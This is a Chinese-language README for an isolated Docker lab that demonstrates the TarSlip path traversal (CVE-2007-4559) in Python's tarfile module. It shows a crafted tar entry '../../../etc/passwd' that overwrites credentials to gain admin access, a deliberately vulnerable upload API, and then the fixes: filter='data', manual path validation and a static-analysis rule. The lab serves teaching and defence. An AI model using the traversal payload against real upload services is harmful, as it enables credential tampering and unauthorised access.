仅用于教育目的。 本实验室在隔离的 Docker 容器内故意利用文件系统漏洞。请勿在任何包含敏感数据的系统或生产环境中运行。
一个自包含的 Docker 实验室,通过一个具体的端到端攻击链演示 CVE-2007-4559 —— Python tarfile 模块中臭名昭著的“TarSlip”漏洞:
extractall() 盲目地将名为 ../../../etc/passwd 的 tar 条目写入提取目录之外,覆盖真实的系统文件。/admin 端点。Python 的 tarfile.extractall() 会忠实地重现 tar 归档中的每个条目,包括名称包含 ../ 路径遍历序列的条目。它从未被设计为安全边界。
tar 条目名称 : ../../../etc/passwd
提取目录 : /shared/uploads/a1b2c3d4/
解析后的路径 : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← 系统文件被覆盖
| 时间线 | |
|---|---|
| 2007 | 漏洞报告提交给 Python 安全团队 |
| 2007 – 2022 | 标记为“非安全问题”——tarfile“按预期工作” |
| 2022 | Trellix 研究人员扫描 GitHub,发现 350,000+ 个仓库在不受信任的输入上调用 extractall() |
| 2022 | 公开披露。CVE-2007-4559 重新浮出水面。全行业紧急应对。 |
| 2023 | PEP 706 在 Python 3.12 中引入了 filter='data' —— 修复仅需一个参数 |
演示分为三个环节,每个环节需要按键才能继续。
GET /admin → 401。管理员端点存在且受到保护。攻击者不知道密码。innocent.tar.gz → 文件被放入沙盒目录中。一切看起来正常。攻击者构造 tarslip_passwd.tar.gz
└─ 条目: "../../../etc/passwd"
内容: admin:hacked:1001:... ← 植入的密码
│
▼
POST /upload (多部分文件上传)
│
▼
extractall("/shared/uploads/{uuid}/")
解析 "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — “欢迎,管理员!您拥有完全管理权限。”
标志: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
一次 HTTP POST。无需 Shell。无需 RCE 载荷。只是一个 tar 文件。
相同的 tarball 被上传到修复后的 API,后者向 extractall() 传递了 filter='data'。Python 抛出 tarfile.OutsideDestinationError —— 路径遍历被阻止,/etc/passwd 未被触及,/admin 保持锁定。
# 存在漏洞 —— Python 3.14 之前的默认行为
tar.extractall(extraction_dir)
# 已修复 —— PEP 706(Python 3.12+)
tar.extractall(extraction_dir, filter='data')
一个参数。十五年才交付。
在隔离的 Docker 桥接网络(tarslip-net)上运行四个服务。没有服务能够访问互联网。
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ 端口 8000 │ │ 端口 8080 (宿主机) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ 通过 HTTP 提供/shared │ │
│ │ GET /admin │ │ 目录 —— 可视化浏览提取物 │ │
│ │ GET /health │ │ │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ 共享存储卷 │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (无宿主机端口 —— 仅内部) │
│ │ │ │
│ │ craft_malicious.py — 生成 tarball │
│ │ demo.py — 驱动演示 │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
| 服务 | 镜像 | 角色 | 宿主机端口 |
|---|---|---|---|
vulnerable-api | python:3.11.3-slim | Flask 上传 API + 受 /etc/passwd 认证保护的 /admin | 8000 |
fixed-api | python:3.12-slim | 相同代码 + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | 提取文件的目录列表 | 8080 |
attacker | python:3.12-slim | 载荷生成器 + 演示驱动器 | — |
存在漏洞和已修复的 API 使用完全相同的源代码。唯一区别是修复后的容器上设置了 USE_SAFE_EXTRACTION=true 环境变量,它切换了唯一的 filter='data' 参数。
CVE-2007-4559-lab/
├── run_demo.sh ← 从这里开始
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # 将 admin:s3cr3t_Adm1nPass 注入 /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # 生成 innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # 四种模式的 CLI 驱动 (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
脚本是全交互式的。它在每个步骤之前输出说明,并等待按 Enter 继续。无需 Docker 知识即可跟进。
| 暂停点 | 显示的说明 | 按 Enter 后执行的操作 |
|---|---|---|
| 1 | CVE 时间线,三个环节是什么 | 构建存在漏洞的栈 |
| 2 | 容器角色,预植入的管理员密码 | 生成载荷 |
| 3 | 每个 tarball 内部的内容 | 环节 1 —— 基线 |
| 4 | 为什么 /admin 返回 401,正常提取是什么样子 | 环节 2 —— 漏洞利用 |
| 5 | 具体的遍历计算,哪些文件被覆盖 | 切换到修复后的栈 |
| 6 | filter='data' 的作用及其工作原理 | 环节 3 —— 验证 |
| 7 | 关键要点 + 更广泛的 ZipSlip 模式 | 清理 |
如果你想手动逐步操作:
# 存在漏洞的栈
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# 修复后的栈
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# 清理
docker compose -f docker-compose.fixed.yml down
当存在漏洞的栈运行时,在浏览器中打开 http://localhost:8080/uploads/ 浏览提取的会话目录。
/admin 端点的工作原理API 在镜像构建时将一个秘密管理员密码注入到 /etc/passwd 中:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin 读取此文件并检查第二个字段(密码)是否与 HTTP 基本认证凭据匹配。攻击者不知道 s3cr3t_Adm1nPass —— 但在 TarSlip 用他们自己的版本(包含 admin:hacked)覆盖文件后,他们就知道了。
这是现实世界中攻击目标的简化模型:SSH authorized_keys、应用程序配置文件、cron 作业,以及 web 进程可写入的任何凭据文件。
craft_malicious.py 使用 Python 自身的 tarfile 模块 —— 也就是存在漏洞的同一个模块:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name 是遍历路径
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# 条目名称在提取到 /shared/uploads/{uuid}/ 时将解析为 /etc/passwd
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
无需特殊工具。无需二进制利用。标准库既是武器也是受害者。
Python 3.12 在 PEP 706 中引入了 filter= 参数。'data' 过滤器:
tarfile.OutsideDestinationError# 之前(存在漏洞 —— 在 Python 3.14 之前仍是默认行为)
with tarfile.open(path) as tar:
tar.extractall(dest)
# 之后(安全)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
对于 Python 3.11 及更早版本,手动验证:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"不安全路径: {member.name}")
tar.extractall(dest)
静态分析:bandit 规则 B202 会在 CI 中标记不安全的 extractall() 调用。
TarSlip 是 Python 对一类漏洞的称呼,这类漏洞存在于具有归档提取 API 的每种语言中:
| 语言 | 存在漏洞的 API | CVE / 建议 |
|---|---|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, 其他 | ZipSlip (2018) |
所有语言中的根本原因相同:信任来自不受信任归档的路径。修复方法也相同:在写入之前进行规范化和验证。